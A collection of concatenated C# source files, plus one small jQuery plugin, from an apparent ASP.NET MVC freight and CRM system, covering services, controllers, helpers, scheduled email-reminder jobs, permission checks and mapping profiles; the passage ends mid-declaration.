using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMEmailHistoryService : IServices<CRMEmailHistory>
{
CRMEmailHistory GetById(long id);
CRMEmailHistoryModel GetModel(long id);
long InsertModel(CRMEmailHistoryModel model);
void UpdateModel(CRMEmailHistoryModel model);
void DeleteDelete(long id);
IEnumerable<CRMEmailHistoryModel> GetAll(SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, long priceId);
}
public class CRMEmailHistoryService : Services<CRMEmailHistory>, ICRMEmailHistoryService
{
public CRMEmailHistory GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public CRMEmailHistoryModel GetModel(long id)
{
return ToModels(GetById(id));
}
public long InsertModel(CRMEmailHistoryModel model)
{
var db = ToDbModel(model);
var email = (CRMEmailHistory)Insert(db);
return email.Id;
}
public void UpdateModel(CRMEmailHistoryModel model)
{
var db = GetById(model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
}
public void DeleteDelete(long id)
{
var db = GetById(id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public IEnumerable<CRMEmailHistoryModel> GetAll(SortField sortField, out int totalRows, int page, int pageSize, long priceId)
{
totalRows = 0;
var qr = GetQuery(x => x.PriceId == priceId);
totalRows = qr.Count();
qr = qr.OrderBy(sortField);
var list = GetListPager(qr, page, pageSize);
return list.Select(ToModels);
}
private CRMEmailHistory ToDbModel(CRMEmailHistoryModel model)
{
var db = new CRMEmailHistory
{
Subject = model.Subject,
ToAddress = model.ToAddress,
CcAddress = model.CcAddress,
DateSend = DateTime.Now,
PriceId = model.PriceId
};
return db;
}
private void ConvertModel(CRMEmailHistoryModel model, CRMEmailHistory db)
{
db.Subject = model.Subject;
db.ToAddress = model.ToAddress;
db.CcAddress = model.CcAddress;
db.DateSend = model.DateSend;
db.PriceId = model.PriceId;
}
public CRMEmailHistoryModel ToModels(CRMEmailHistory emailHistory)
{
if (emailHistory == null) return null;
var model = Mapper.Map<CRMEmailHistoryModel>(emailHistory);
return model;
}
}
}<file_sep>//You need an anonymous function to wrap around your function to avoid conflict
(function ($) {
//Attach this new method to jQuery
$.fn.extend({
//This is where you write your plugin's name
replaceSpecialCharacter: function () {
//Iterate over the current set of matched elements
return this.each(function () {
$(this).val($(this).val().replace(" ", "_"));
});
}
});
//pass jQuery to the function,
//So that we will able to use any valid Javascript variable name
//to replace "$" SIGN. But, we'll stick to $ (I like dollar sign: ) )
})(jQuery);<file_sep>using System;
namespace SSM.Models.CRM
{
public class CRMEmailHistoryModel
{
public long Id { get; set; }
public string ToAddress { get; set; }
public string CcAddress { get; set; }
public string Subject { get; set; }
public DateTime DateSend { get; set; }
public long PriceId { get; set; }
public CRMPriceQuotation PriceQuotation { get; set; }
}
}<file_sep>using System.Web;
namespace SSM.Common
{
public class PagedGrid
{
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Net;
using System.Web.Mvc;
using SSM.Common;
using SSM.Services;
using SSM.ViewModels.Reports;
namespace SSM.Controllers
{
public class ProfitReportController : BaseController
{
private IRevenueServices revenueServices;
public static String FILTER_SEARCH_MODEL = "FILTER_SEARCH_MODEL";
public ProfitReportController()
{
revenueServices = new RevenueServices();
}
public ActionResult Index()
{
FilterProfit filter = new FilterProfit()
{
BeginDate = DateTime.Now.AddMonths(-1),
EndDate = DateTime.Now,
Top = 10,
TypeFilterProfit = TypeFilterProfit.Sales
};
ViewBag.FilterProfit = filter;
ViewBag.ProfitType = TypeFilterProfit.Sales;
var list = new List<ProfitReportModel>();
return View(list);
}
[HttpPost]
public ActionResult Index(FilterProfit filter)
{
filter.EndDate = filter.EndDate.AddHours(23).AddMinutes(59).AddSeconds(59);
var list = revenueServices.ProfitReportModels(filter);
ViewBag.FilterProfit = filter;
ViewBag.ProfitType = filter.TypeFilterProfit;
Session[FILTER_SEARCH_MODEL] = filter;
return PartialView("_DataFiter", list);
}
[HttpGet]
public ActionResult ShippmetsDetailType(string refObjId)
{
FilterProfit filter = (FilterProfit)Session[FILTER_SEARCH_MODEL];
var shipmentList = revenueServices.GetAllShipments(refObjId, filter);
ViewBag.ProfitType = filter.TypeFilterProfit;
var value = new
{
Views = this.RenderPartialView("_ShipmentList", shipmentList),
CloseOther = true,
Title = string.Format(@"Shipment detail of {0}", filter.TypeFilterProfit.ToString()),
ColumnClass = "col-md-12 col-md-offset-0"
};
return JsonResult(value, true);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Configuration;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using System.Net.Mail;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
using System.Web.Mvc;
using System.Xml.Linq;
using System.Xml.Serialization;
using SSM.Models;
using SSM.Properties;
namespace SSM.Common
{
public static class Helpers
{
public static Icon ExtractAssociatedIconEx()
{
Icon ico = Icon.ExtractAssociatedIcon(@"C:\WINDOWS\system32\notepad.exe");
return ico;
}
public static List<string> PageList()
{
var pageSizes = new List<string> { "10", "50", "100", "150", "200", "250" };
var str = ConfigurationManager.AppSettings["PageList"];
if (string.IsNullOrEmpty(str) && str.Split(',').Any())
{
pageSizes = str.Split(',').ToList();
}
return pageSizes;
}
public static SelectList PageSelectList()
{
return new SelectList(PageList(), "Value");
}
public static int DaysView
{
get
{
var str = ConfigurationManager.AppSettings["DaysView"];
int days = 10;
int.TryParse(str, out days);
return days;
}
}
public static bool AllowTrading
{
get
{
var str = ConfigurationManager.AppSettings["AllowTrading"];
bool isAlow = true;
bool.TryParse(str, out isAlow);
return isAlow;
}
}
public static bool AllowUserSendMail
{
get
{
var str = ConfigurationManager.AppSettings["AllowUserSendMail"];
bool isAlow = false;
bool.TryParse(str, out isAlow);
return isAlow;
}
}
public static string SiteName
{
get
{
var str = SSM.Properties.Settings.Default.SiteName;
if (string.IsNullOrEmpty(str))
{
str = "SANCO HCM";
}
return str;
}
}
public static bool IsValid(this string emailaddress, out string erroMessag)
{
erroMessag = string.Empty;
try
{
var m = new MailAddress(emailaddress);
return true;
}
catch (FormatException ex)
{
erroMessag = ex.Message;
Logger.LogError(ex);
return false;
}
}
public static bool IsValid(this string emailaddress)
{
try
{
var m = new MailAddress(emailaddress);
return true;
}
catch (FormatException ex)
{
Logger.LogError(ex);
return false;
}
}
public static string Logo
{
get
{
var str = SSM.Properties.Settings.Default.Logo;
if (string.IsNullOrEmpty(str))
{
str = "~/Content/ssmlogo.png";
}
return str;
}
}
public static string Site
{
get
{
var str = SSM.Properties.Settings.Default.Site;
if (string.IsNullOrEmpty(str))
{
str = "http://localhost:9999";
}
return str;
}
}
public static string SiteTitle
{
get
{
var str = SSM.Properties.Settings.Default.SiteTitle;
if (string.IsNullOrEmpty(str))
{
str = "SCF HCM";
}
return str;
}
}
public static T DeserializeXMLFileToObject<T>(string XmlFilename)
{
T returnObject = default(T);
if (string.IsNullOrEmpty(XmlFilename)) return default(T);
try
{
StreamReader xmlStream = new StreamReader(XmlFilename);
XmlSerializer serializer = new XmlSerializer(typeof(T));
returnObject = (T)serializer.Deserialize(xmlStream);
}
catch (Exception ex)
{
Logger.Log(ex.Message);
}
return returnObject;
}
public static string NonUnicode(string text)
{
string[] arr1 = new string[]
{
"á", "à", "ả", "ã", "ạ", "â", "ấ", "ầ", "ẩ", "ẫ", "ậ", "ă", "ắ", "ằ", "ẳ", "ẵ", "ặ",
"đ",
"é", "è", "ẻ", "ẽ", "ẹ", "ê", "ế", "ề", "ể", "ễ", "ệ",
"í", "ì", "ỉ", "ĩ", "ị",
"ó", "ò", "ỏ", "õ", "ọ", "ô", "ố", "ồ", "ổ", "ỗ", "ộ", "ơ", "ớ", "ờ", "ở", "ỡ", "ợ",
"ú", "ù", "ủ", "ũ", "ụ", "ư", "ứ", "ừ", "ử", "ữ", "ự",
"ý", "ỳ", "ỷ", "ỹ", "ỵ",
};
string[] arr2 = new string[]
{
"a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a", "a",
"d",
"e", "e", "e", "e", "e", "e", "e", "e", "e", "e", "e",
"i", "i", "i", "i", "i",
"o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o", "o",
"u", "u", "u", "u", "u", "u", "u", "u", "u", "u", "u",
"y", "y", "y", "y", "y",
};
for (int i = 0; i < arr1.Length; i++)
{
text = text.Replace(arr1[i], arr2[i]);
text = text.Replace(arr1[i].ToUpper(), arr2[i].ToUpper());
}
return text;
}
public static string ConvertToUnsign3(string str)
{
Regex regex = new Regex("\\p{IsCombiningDiacriticalMarks}+");
string temp = str.Normalize(NormalizationForm.FormD);
return regex.Replace(temp, String.Empty)
.Replace('\u0111', 'd').Replace('\u0110', 'D');
}
public static string ConvertToUnsign(this string str)
{
string strFormD = str.Normalize(NormalizationForm.FormD);
StringBuilder sb = new StringBuilder();
for (int i = 0; i < strFormD.Length; i++)
{
System.Globalization.UnicodeCategory uc =
System.Globalization.CharUnicodeInfo.GetUnicodeCategory(strFormD[i]);
if (uc != System.Globalization.UnicodeCategory.NonSpacingMark)
{
sb.Append(strFormD[i]);
}
}
sb = sb.Replace('Đ', 'D');
sb = sb.Replace('đ', 'd');
return (sb.ToString().Normalize(NormalizationForm.FormD));
}
public static DataCountry LoadCitiesXmlData(string appDirectory)
{
DataCountry data = new DataCountry();
XDocument xDoc = XDocument.Load(appDirectory);
// XDocument xDoc = XDocument.Parse(appDirectory);
var regions = xDoc.Descendants("table").Where(n => n.Attribute("name").Value == "regions")
.Select(b => new
{
Field = b.Elements().Select(x => new
{
Attribute = CapitalizeFirstLetter(x.FirstAttribute.Value),
Value = x.Value.Trim()
})
}).Distinct().ToList();
var subregions = xDoc.Descendants("table").Where(n => n.Attribute("name").Value == "subregions")
.Select(b => new
{
Field = b.Elements().Select(x => new
{
Attribute = CapitalizeFirstLetter(x.FirstAttribute.Value),
Value = x.Value.Trim()
})
}).Distinct().ToList();
var countries = new List<CountryModel>();
var cities = new List<ProvinceModel>();
foreach (var region in regions)
{
var country = new CountryModel();
foreach (var fl in region.Field.ToList())
{
country[fl.Attribute] = fl.Value;
}
countries.Add(country);
}
foreach (var region in subregions)
{
var city = new ProvinceModel();
foreach (var fl in region.Field.ToList())
{
city[fl.Attribute] = fl.Value;
}
city.Country = countries.FirstOrDefault(c => c.Id == city.CountryId);
cities.Add(city);
}
data.CountryModels = countries;
data.ProvinceModels = cities;
return data;
}
public static string GetMemberName<T, TValue>(Expression<Func<T, TValue>> memberAccess)
{
return ((MemberExpression)memberAccess.Body).Member.Name;
}
public static string CapitalizeFirstLetter(string s)
{
if (String.IsNullOrEmpty(s)) return s;
if (s.Length == 1) return s.ToUpper();
return s.Remove(1).ToUpper() + s.Substring(1);
}
}
public static class MimeExtensionHelper
{
static object locker = new object();
static object mimeMapping;
static MethodInfo getMimeMappingMethodInfo;
static MimeExtensionHelper()
{
Type mimeMappingType = Assembly.GetAssembly(typeof(HttpRuntime)).GetType("System.Web.MimeMapping");
if (mimeMappingType == null)
throw new SystemException("Couldnt find MimeMapping type");
getMimeMappingMethodInfo = mimeMappingType.GetMethod("GetMimeMapping", BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.Public);
if (getMimeMappingMethodInfo == null)
throw new SystemException("Couldnt find GetMimeMapping method");
if (getMimeMappingMethodInfo.ReturnType != typeof(string))
throw new SystemException("GetMimeMapping method has invalid return type");
if (getMimeMappingMethodInfo.GetParameters().Length != 1 && getMimeMappingMethodInfo.GetParameters()[0].ParameterType != typeof(string))
throw new SystemException("GetMimeMapping method has invalid parameters");
}
public static string GetMimeType(string filename)
{
lock (locker)
return (string)getMimeMappingMethodInfo.Invoke(mimeMapping, new object[] { filename });
}
public static string Encrypt(this string clearText)
{
const string EncryptionKey = "<KEY>";
byte[] clearBytes = Encoding.Unicode.GetBytes(clearText);
using (Aes encryptor = Aes.Create())
{
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
encryptor.Key = pdb.GetBytes(32);
encryptor.IV = pdb.GetBytes(16);
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(clearBytes, 0, clearBytes.Length);
cs.Close();
}
clearText = Convert.ToBase64String(ms.ToArray());
}
}
return clearText;
}
public static string Decrypt(this string cipherText)
{
const string EncryptionKey = "<KEY>";
byte[] cipherBytes = Convert.FromBase64String(cipherText);
using (Aes encryptor = Aes.Create())
{
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
encryptor.Key = pdb.GetBytes(32);
encryptor.IV = pdb.GetBytes(16);
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(cipherBytes, 0, cipherBytes.Length);
cs.Close();
}
cipherText = Encoding.Unicode.GetString(ms.ToArray());
}
}
return cipherText;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using SSM.Common;
using SSM.ViewModels.Shared;
namespace SSM.Services
{
public class SortField
{
public SortField(string fieldName, bool isAsc)
{
FieldName = fieldName;
IsAscending = isAsc;
}
public string FieldName { get; set; }
public bool IsAscending { get; set; }
}
public static class EntityExtensions
{
public static IOrderedQueryable<T> OrderBy<T>(this IQueryable<T> query, IList<SortField> sortFields)
where T : class
{
return sortFields.Aggregate(query, (current, sortField) => current.OrderBy(sortField)) as IOrderedQueryable<T>;
}
public static IOrderedQueryable<T> OrderBy<T>(this IQueryable<T> query, SortField sortField) where T : class
{
string method = string.Format("OrderBy{0}", sortField.IsAscending ? string.Empty : "Descending");
var parameter = Expression.Parameter(query.ElementType, "p");
var memberAccess = sortField.FieldName.Split('.')
.Aggregate<string, Expression>(null, (current, name) => Expression.Property(current ?? parameter, name));
var orderByLambda = Expression.Lambda(memberAccess, parameter);
var result = Expression.Call(
typeof(Queryable),
method,
new[] { query.ElementType, memberAccess.Type },
query.Expression,
Expression.Quote(orderByLambda));
return query.Provider.CreateQuery<T>(result) as IOrderedQueryable<T>;
}
public static IOrderedQueryable<T> ThenBy<T>(this IQueryable<T> query, SortField sortField) where T : class
{
string method = string.Format("ThenBy{0}", sortField.IsAscending ? string.Empty : "Descending");
var parameter = Expression.Parameter(query.ElementType, "p");
var memberAccess = sortField.FieldName.Split('.')
.Aggregate<string, Expression>(null, (current, name) => Expression.Property(current ?? parameter, name));
var orderByLambda = Expression.Lambda(memberAccess, parameter);
var result = Expression.Call(
typeof(Queryable),
method,
new[] { query.ElementType, memberAccess.Type },
query.Expression,
Expression.Quote(orderByLambda));
return query.Provider.CreateQuery<T>(result) as IOrderedQueryable<T>;
}
}
}<file_sep>using System;
using System.Configuration;
using System.IO;
using System.Linq;
using System.Security.Policy;
using System.Threading.Tasks;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using Quartz;
using Quartz.Impl;
using SSM.Controllers;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels;
using Logging = Common.Logging;
using RequestContext = CrystalDecisions.Shared.RequestContext;
namespace SSM.Common
{
public class JobScheduler
{
public static void Start()
{
try
{
// construct a scheduler factory
ISchedulerFactory schedFact = new StdSchedulerFactory();
// get a scheduler
IScheduler sched = schedFact.GetScheduler();
sched.Start();
// define the job and tie it to our HelloJob class
IJobDetail job = JobBuilder.Create<EventSchedulJob>()
.WithIdentity("eventsScheduleJob", "group1")
.Build();
// Trigger the job to run now, and then every 30 seconds
ITrigger trigger = TriggerBuilder.Create()
.WithIdentity("eventsScheduleTrigger", "group1")
.StartNow()
.WithSimpleSchedule(x => x
.WithIntervalInMinutes(2)
.RepeatForever())
.Build();
sched.ScheduleJob(job, trigger);
}
catch (SchedulerException se)
{
Logger.LogError(se);
}
}
#region SetStatus
public static void CrmSatusSet()
{
try
{
DateTime beginDate = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 19, 00, 0);
DateTime dateRun = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 12, 15, 0);
DateTime endDate = beginDate.AddMinutes(30);
if ((DateTime.Now >= beginDate && DateTime.Now < dateRun) || (DateTime.Now > dateRun.AddMinutes(30) && DateTime.Now < endDate)) return;
// construct a scheduler factory
ISchedulerFactory schedFact = new StdSchedulerFactory();
// get a scheduler
IScheduler sched = schedFact.GetScheduler();
sched.Start();
// define the job and tie it to our HelloJob class
IJobDetail job = JobBuilder.Create<CRMStatusProccessJob>()
.WithIdentity("crmStatusJob", "group2")
.Build();
// Trigger the job to run now, and then every 40 seconds
ITrigger trigger = TriggerBuilder.Create()
.WithIdentity("crmStatusTrigger", "group2")
.StartNow()
.WithSimpleSchedule(x => x
.WithIntervalInHours(1)
.RepeatForever())
.Build();
sched.ScheduleJob(job, trigger);
}
catch (SchedulerException se)
{
Logger.LogError(se);
}
}
#endregion
}
public class EventSchedulJob : IJob
{
private ICRMEventService eventService;
private UsersServices usersServices;
public EventSchedulJob()
{
eventService = new CRMEventService();
usersServices = new UsersServicesImpl();
}
public void Execute(IJobExecutionContext context)
{
var currendate = DateTime.Now.Date;
var startDate = new DateTime(currendate.Year, currendate.Month, currendate.Day, 6, 0, 0);
var endDate = new DateTime(currendate.Year, currendate.Month, currendate.Day, 23, 59, 59);
if (DateTime.Now < startDate && DateTime.Now > endDate) return;
var list = eventService.GetAll(x => x.Status == (byte)CRMEventStatus.Follow && x.IsSchedule && (x.DateBegin >= currendate
|| (x.DateEnd >= currendate && x.DateEnd <= currendate.AddDays(1)))
&& (x.LastTimeReminder == null || x.LastTimeReminder.Value.Date != currendate));
foreach (var schedule in list)
{
try
{
var nowtime = DateTime.Now;
if (schedule == null) continue;
var lastDate = schedule.LastTimeReminder;
if (lastDate != null && lastDate.Value.Date == currendate) continue;
var jobDate = currendate.ToString("M/d/yyyy") + " " + schedule.TimeOfRemider;
DateTime dt;
if (!DateTime.TryParse(jobDate, out dt)) continue;
bool isSendMail = true;
if (currendate <= schedule.DateEnd && !string.IsNullOrEmpty(schedule.DayWeekOfRemider))
{
var dayOfWs = schedule.DayWeekOfRemider.Split(',').Where(x => !string.IsNullOrEmpty(x)).Select(x => int.Parse(x));
if (!dayOfWs.Contains((int)nowtime.DayOfWeek)) isSendMail = false;
if (schedule.DateBegin == schedule.DateEnd) isSendMail = true;
}
if (!isSendMail || nowtime < dt.AddMinutes(-1)) continue;
Logger.LogDebug("Process send email for Event");
var admin = usersServices.FindEntity(x => x.UserName.ToLower() == "admin");
var user = !string.IsNullOrEmpty(schedule.User.Email) ? schedule.User : admin;
var emailTo = string.IsNullOrEmpty(schedule.User.Email) ? admin.Email : schedule.User.Email;
string emailJoinEvent = string.Empty;
if (schedule.CRMFollowEventUsers != null && schedule.CRMFollowEventUsers.Any())
emailJoinEvent = schedule.CRMFollowEventUsers.Where(x => !string.IsNullOrEmpty(x.User.Email)).Aggregate(emailJoinEvent,
(current, u) => current + (u.User.Email + ","));
emailTo = emailTo + "," + emailJoinEvent;
string actionUrl = $"{Helpers.Site}/CRMEvent/Detail/{schedule.Id}";
var link = $"Bạn có thể <a href=\"{actionUrl}\" >click vào đây</a> để xem chi tiết";
var model = new EmailModel()
{
EmailTo = emailTo,
EmailCc = admin.Email,
User = user,
Subject = $"[{schedule.User.FullName}], You have 1 {(schedule.IsEventAction ? "event" : "visit")} {schedule.CRMCustomer.CompanyName}",
Message =
$"Dear [{schedule.User.FullName}] <br/> You have 1 {(schedule.IsEventAction ? "event" : "visit")} at {jobDate} <br/> {schedule.Description} .<br/> {link}",
IsUserSend = false,
IdRef = schedule.Id,
};
var errorMessages = string.Empty;
var email = new EmailCommon { EmailModel = model };
if (!email.SendEmail(out errorMessages, true))
{
Logger.LogError(errorMessages);
}
else
{
schedule.LastTimeReminder = DateTime.Now;
eventService.Commited();
Logger.Log("Send mail schechdule at " + nowtime.ToString("g"));
}
}
catch (Exception e)
{
Logger.LogError("Loi job event send mail schedule:");
Logger.LogError(e);
}
}
}
}
#region JobStatus
public class CRMStatusProccessJob : IJob
{
private ICRMService crmService;
private ICRMCustomerService crmCustomerService;
private ICRMStatusService statusService;
private ShipmentServices shipmentServices;
private UsersServices usersServices;
public CRMStatusProccessJob()
{
crmService = new CRMService();
crmCustomerService = new CRMCustomerService();
statusService = new CRMStatusService();
shipmentServices = new ShipmentServicesImpl();
usersServices = new UsersServicesImpl();
}
private int days = 365;
public void Execute(IJobExecutionContext context)
{
var crms = crmCustomerService.GetAll(x => x.CRMStatus.Code != (byte)CRMStatusCode.Client && x.DateCancel.Value < DateTime.Now);
var crmstting = usersServices.CRMDayCanelSettingNumber();
days = int.Parse(crmstting.DataValue);
foreach (var crm in crms)
{
SetSatusCrm(crm);
}
}
public void SetSatusCrm(CRMCustomer crm)
{
bool isCancel = false;
CRMStatusCode code = CRMStatusCode.Potential;
DateTime cancelDate = crm.DateCancel ?? crm.CreatedDate.Date;
DateTime lastCancelDate = cancelDate.AddDays(days);
if (crm.SsmCusId.HasValue)
{
var shipments = shipmentServices.Count(s => s.CneeId.Value == crm.SsmCusId.Value || s.ShipperId.Value == crm.SsmCusId.Value);
if (shipments == 0)
code = CRMStatusCode.Potential;
if (shipments >= 1)
code = CRMStatusCode.Success;
}
else
{
if (lastCancelDate < DateTime.Today)
{
isCancel = true;
code = CRMStatusCode.Client;
}
}
var status = statusService.GetModel(code);
if (crm.CRMStatus.Code == (byte)code) return;
crmService.SetStatus(crm.Id, status.Id, code, isCancel);
}
}
#endregion
}<file_sep>using System.Linq;
using SSM.Models;
namespace SSM.Services
{
public static class TradingPermission
{
public static bool IsAdmin(this User user)
{
return user.RoleName.Equals(UsersModel.Positions.Administrator.ToString());
}
public static bool IsTrading(this User user)
{
if (user.IsAdmin())
return true;
if (user.AllowTrading)
return true;
//if (user.IsDirecter() || user.IsDepManager() || user.IsAccountant())
// return true;
return false;
}
public static bool IsEditTrading(this User user)
{
if (user.IsAdmin())
return true;
if (user.IsDirecter() || user.IsAccountant())
return false;
if ( user.AllowTrading)
return true;
return false;
}
public static bool IsMainDirecter(this User user)
{
if (user.IsAdmin())
return true;
return user.RoleName.Equals(UsersModel.Positions.Director.ToString()) && user.DirectorLevel.Value == 1 && user.ComId == 1;
}
public static bool IsDirecter(this User user)
{
if (user.IsAdmin())
return true;
return user.RoleName.Equals(UsersModel.Positions.Director.ToString());
}
public static bool IsComDirecter(this User user)
{
if (user.IsAdmin())
return true;
return user.RoleName.Equals(UsersModel.Positions.Director.ToString()) && user.DirectorLevel.Value == 1;
}
public static bool IsDepOrDirecter(this User user)
{
if (user.IsAdmin() || user.IsDirecter())
return true;
return user.RoleName.Equals(UsersModel.Positions.Manager.ToString());
}
public static bool IsDepManager(this User user)
{
if (user.IsAdmin())
return true;
return user.RoleName.Equals(UsersModel.Positions.Manager.ToString());
}
public static bool IsAccountant(this User user)
{
if (user.IsAdmin())
return true;
return UsersModel.Functions.Accountant.ToString().Equals(user.Department != null ? user.Department.DeptFunction : string.Empty);
}
public static bool IsFreight(this User user)
{
if (user.IsAdmin())
return true;
if (user.AllowFreight != null && user.AllowFreight == true)
return true;
if (user.AllowTrading != null && user.AllowTrading == true)
return false;
return true;
}
public static bool IsOwnner(this User user, long id)
{
if (user.IsAdmin() || user.Id == id)
return true;
return false;
}
public static bool IsOperations(this User user)
{
return user.IsAdmin() || UsersModel.Positions.Operations.ToString().Equals(user.Department.DeptFunction);
}
public static bool IsOpsAndSales(this User user)
{
return user.IsAdmin() || UsersModel.Positions.Operations.ToString().Equals(user.Department.DeptFunction) || UsersModel.Positions.Sales.ToString().Equals(user.Department.DeptFunction);
}
public static bool IsStaff(this User user)
{
return !user.IsAdmin() && !user.IsDepOrDirecter();
}
public static bool IsDataTrading(this User user)
{
if (user.IsAdmin())
return true;
if (user.AllowDataTrading != null && user.AllowDataTrading == true && user.AllowTrading != null && user.AllowTrading == true)
return true;
return false;
}
// Information
public static bool IsEditNew(this User user, NewsModel model = null)
{
if (user.IsAdmin() || user.AllowInfoAll)
return true;
if (user.AllowInforEdit && model == null)
return true;
if (model != null)
{
if (user.AllowInforEdit && (model.CreaterBy != null && model.CreaterBy.Id == user.Id))
return true;
if (model.ListUserUpdate != null && model.ListUserUpdate.Any())
{
var check = model.ListUserUpdate.Contains(user.Id) && model.IsAllowAnotherUpdate;
return check;
}
}
return false;
}
//Regulation
public static bool IsEditReula(this User user, NewsModel model = null)
{
if (user.IsAdmin())
return true;
if (user.AllowRegulationEdit && model == null)
return true;
if (model != null)
{
if (user.AllowRegulationEdit && (model.CreaterBy != null && model.CreaterBy.Id == user.Id))
return true;
if (model.ListUserUpdate != null && model.ListUserUpdate.Any())
{
var check = model.ListUserUpdate.Contains(user.Id) && model.IsAllowAnotherUpdate;
return check;
}
}
return false;
}
public static bool IsApprovedRegula(this User user)
{
if (user.IsAdmin())
return true;
return user.AllowRegulationApproval;
}
//Regulation
public static bool IsAdminAndAcct(this User user )
{
return user.IsAdmin() || user.IsDirecter()|| user.IsAccountant();
}
}
}<file_sep>using SSM.Utils;
namespace SSM.Models
{
public class BookingNoteModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string Date { get; set; }
public string ShipperName { get; set; }
public string Consignee { get; set; }
public string NotifyAddress { get; set; }
public string PlaceOfReceipt { get; set; }
public string ETD { get; set; }
public string BookingNo { get; set; }
public string PortToLoading { get; set; }
public string Vesel { get; set; }
public string PortOfDestination { get; set; }
public string PlaceOfDelivery { get; set; }
public string PlaceOfStuffing { get; set; }
public string PersonInCharge { get; set; }
public string ClosingTime { get; set; }
public string BillDetailAction { get; set; }
public string ShippingMark { get; set; }
public string NoCTNS { get; set; }
public string GoodsDescription { get; set; }
public string GrossWeight { get; set; }
public string CBM { get; set; }
public string Shipper { get; set; }
public string SancoFreight { get; set; }
public bool Logo { get; set; }
public bool Header { get; set; }
public bool Footer { get; set; }
public static void ConvertBookingNote(BookingNoteModel Model, BookingNote Note)
{
if (Note == null) { Note = new BookingNote(); }
if (Model.Id > 0)
{
Note.Id = Model.Id;
}
Note.BookingNo = Model.BookingNo;
Note.ShippingMark = Model.ShippingMark;
Note.NoCTNS = Model.NoCTNS;
Note.GoodsDescription = Model.GoodsDescription;
Note.GrossWeight = Model.GrossWeight;
Note.CBM = Model.CBM;
Note.Shipper = Model.Shipper;
Note.SancoFreight = Model.SancoFreight;
Note.ClosingTime = Model.ClosingTime;
Note.Consignee = Model.Consignee;
Note.Date = DateUtils.Convert2DateTime(Model.Date);
Note.ETD = DateUtils.Convert2DateTime(Model.ETD);
Note.NotifyAddress = Model.NotifyAddress;
Note.PersonInCharge = Model.PersonInCharge;
Note.PlaceOfDelivery = Model.PlaceOfDelivery;
Note.PlaceOfReceipt = Model.PlaceOfReceipt;
Note.PlaceOfStuffing = Model.PlaceOfStuffing;
Note.PortOfDestination = Model.PortOfDestination;
Note.PortToLoading = Model.PortToLoading;
Note.ShipmentId = Model.ShipmentId;
Note.ShipperName = Model.ShipperName;
Note.Vesel = Model.Vesel;
Note.Logo = Model.Logo;
Note.Header = Model.Header;
Note.Footer = Model.Footer;
}
public static void ConvertBookingNote(BookingNote Note, BookingNoteModel Model)
{
Model.Id = Model.Id;
Model.BookingNo = Note.BookingNo;
Model.ShippingMark = Note.ShippingMark;
Model.NoCTNS = Note.NoCTNS;
Model.GoodsDescription = Note.GoodsDescription;
Model.GrossWeight = Note.GrossWeight;
Model.CBM = Note.CBM;
Model.Shipper = Note.Shipper;
Model.SancoFreight = Note.SancoFreight;
Model.ClosingTime = Note.ClosingTime;
Model.Consignee = Note.Consignee;
Model.Date = Note.Date != null ? Note.Date.Value.ToString("dd/MM/yyyy") : "";
Model.ETD = Note.Date != null ? Note.ETD.Value.ToString("dd/MM/yyyy") : "";
Model.NotifyAddress = Note.NotifyAddress;
Model.PersonInCharge = Note.PersonInCharge;
Model.PlaceOfDelivery = Note.PlaceOfDelivery;
Model.PlaceOfReceipt = Note.PlaceOfReceipt;
Model.PlaceOfStuffing = Note.PlaceOfStuffing;
Model.PortOfDestination = Note.PortOfDestination;
Model.PortToLoading = Note.PortToLoading;
Model.ShipmentId = Note.ShipmentId;
Model.ShipperName = Note.ShipperName;
Model.Vesel = Note.Vesel;
Model.Logo = Note.Logo;
Model.Header = Note.Header;
Model.Footer = Note.Footer;
}
}
}<file_sep>
using AutoMapper;
using SSM.Models;
using SSM.ViewModels;
namespace SSM.DomainProfiles
{
public class TradingProfile : Profile
{
protected override void Configure()
{
Mapper.CreateMap<Country, CountryModel>();
Mapper.CreateMap<Province, ProvinceModel>();
Mapper.CreateMap<Supplier, SupplierModels>();
Mapper.CreateMap<Warehouse, WareHouseModel>();
Mapper.CreateMap<Product, ProductModel>()
.ForMember(dest => dest.SupplierId, opt => opt.MapFrom(src => src.SupplierId ?? 0))
.ForMember(dest => dest.Image, opt => opt.MapFrom(src => src.Image != null ? src.Image.ToArray() : null));
Mapper.CreateMap<ServicesType, ServicesViewModel>();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMJobCategoryService : IServices<CRMJobCategory>
{
